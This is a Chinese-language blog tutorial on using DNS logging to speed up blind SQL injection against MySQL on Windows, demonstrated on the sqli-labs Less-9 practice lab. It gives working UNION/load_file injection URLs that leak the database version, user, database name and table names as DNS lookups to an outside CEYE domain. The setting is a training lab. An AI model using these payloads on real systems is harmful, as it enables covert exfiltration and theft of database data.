C1imber's Blog

渗透技巧:使用dnslog加快盲注速度

字数统计: 1k阅读时长: 3 min
2018/06/30 Share

渗透技巧:使用dnslog加快盲注速度

sql盲注分为基于bool的盲注和基于时间的盲注,大家都知道,盲注是在页面没有显示位并且没有报错信息的时候,通过构造payload使页面返回的内容不同或者是页面响应的时间不同从而去判断出数据库中的数据,不管是bool盲注还是时间盲注,在进行判断的时候都需要一个字符一个字符的去判断,虽然二分法可以加快盲注的速度,但是还有一种更好的办法,那就是使用dnslog,具体过程如下图
mark

由上图可以看出要进行dnslog注入需要几个条件:

1.web服务器操作系统必须为windows,因为UNC这个东西是windows特有的,关于UNC的解析如下

UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式:\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\\servername\sharename\directory\filename

2.以mysql为例,数据库的load_file函数必须可用,也就是数据库用户必须要有file_priv权限
mark

其次就是mysql的secure_file_priv不为NULL,有些高版本的mysql中的secure_file_priv默认为NULL

secure_file_priv特性secure_file_priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出。
当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下。
当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制。

mark

配置方法,在mysql配置文件中[mysqld]里追加一条secure_file_priv =
mark

符合了上述的两个条件就可以使用dnslog去进行注入了,首先需要有一台自己的DNS服务器,该DNS服务器的作用是用来接收DNS查询日志,从日志中获取dnslog注入的结果,这里推荐使用知道创宇的CEYE平台,注册完成后会分配给用户一个该平台的二级域名,这个二级域名可以作为我们的DNS服务器
mark

以sqli-labs第九关为例,该关卡是一个时间盲注
mark
传统的时间盲注对网速有着一定的要求,还有就是需要一个一个字符的去判断并且会有一定的延时,效率比较低,这里使用dnslog注入来试一下

读取数据库版本信息,payload:

http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\\\',version(),'.meomna.ceye.io\\abc')),2,3%23

mark
可以在CEYE平台中的DNS Query中看到数据库版本信息
mark
注意在读取当前用户时,由于root@localhost里的@符号在url里面有别的含义,@符号前面的内容会被当成login:password的格式,所以在查询时要使用hex函数进行16进制编码,否则会查询不到,payload:

http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\\\',(select hex(user())),'.meomna.ceye.io\\abc')),2,3%23

mark
mark
之后进行16进行解码便能得到内容
mark
读取当前的数据库

http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\\\',database(),'.meomna.ceye.io\\abc')),2,3%23

mark
mark
读取当前数据库下的所有表,group_concat返回的查询结果中有,,所以要使用hex函数进行16进制编码,否则会查询不到

http://192.168.242.128/sqli-labs/Less-9/index.php?id=1' union select load_file(concat('\\\\',(select hex(group_concat(table_name)) from information_schema.tables where table_schema=database()),'.meomna.ceye.io\\abc')),2,3%23

mark
之后将得到的内容进行16进制解码就能获取到数据库内容了
mark

CATALOG
  1. 1. 渗透技巧:使用dnslog加快盲注速度